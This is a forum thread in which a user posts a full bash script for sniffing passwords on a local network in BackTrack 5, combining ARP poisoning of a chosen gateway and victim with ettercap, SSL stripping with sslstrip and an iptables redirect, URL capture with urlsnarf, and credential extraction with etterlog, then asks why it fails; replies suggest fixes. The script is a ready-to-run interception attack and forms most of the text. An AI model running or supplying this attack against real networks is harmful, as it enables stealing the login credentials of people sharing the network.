password sniffing in BT 5
Code:
#!/bin/bash
echo -n "Do you want to execute Wireshark when done? If yes, LEAVE BLANK "
read -e NOYES
echo -n "Do you want to extract pictures from the pcap via tcpxtract? If yes, LEAVE BLANK "
read -e XTRACT
echo -n "What interface to use? ie wlan0: "
read -e IFACE
echo -n "Name of "Session"? (name of the folder that will be created with all the log files): "
read -e SESSION
echo -n "Gateway IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: "
read -e ROUTER
echo -n "Target IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: "
read -e VICTIM
mkdir /root/$SESSION/
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
sslstrip -p -k -w /root/$SESSION/$SESSION.log &
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
urlsnarf -i $IFACE | grep http > /root/$SESSION/$SESSION.txt &
ettercap -T -i $IFACE -w /root/$SESSION/$SESSION.pcap -L /root/$SESSION/$SESSION -M arp /$ROUTER/ /$VICTIM/
"$XTRACT"tcpxtract -f /root/$SESSION/$SESSION.pcap
"$NOYES"wireshark &
killall sslstrip
killall python
killall urlsnarf
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
etterlog -p -i /root/$SESSION/$SESSION.eci
The above script used to work perfectly in BT 4 but it fails to work correctly in BT 5
it didnt work first time i ran it so i checked which part of the script is not working and i found out that sslstrip is not working b'cz it was not installed yet so i installed sslstrip then i checked again if the script works but this time the internet becomes so so so slow or no internet at all ( its only me in the network ) and it didnt capture any paasword . Can u pls tell me whats wrong in this script ?? and how can i modify it to suit BT 5 ??
sorry for my bad english .. !!
Re : password sniffing in BT 5
Sslstrip IS installed... I just did a chmod +x /pentest/web/sslstrip/sslstrip.py
It gets buggy with python though. But it works. I made a script too if you're interested (compatible with BT5 of course) : http://comax.pagesperso-orange.fr.
Hope this helps !
Re: password sniffing in BT 5
Re: password sniffing in BT 5
Quote:
Originally Posted by
thorin
It says how to install sslstrip, but does that get rid of the python errors ? I must confess I did install it, but didn't try it after...
(I'm asking the question so that a next reader has an answer, but I'll find out for my self. And update this post if I do that before anyone answers)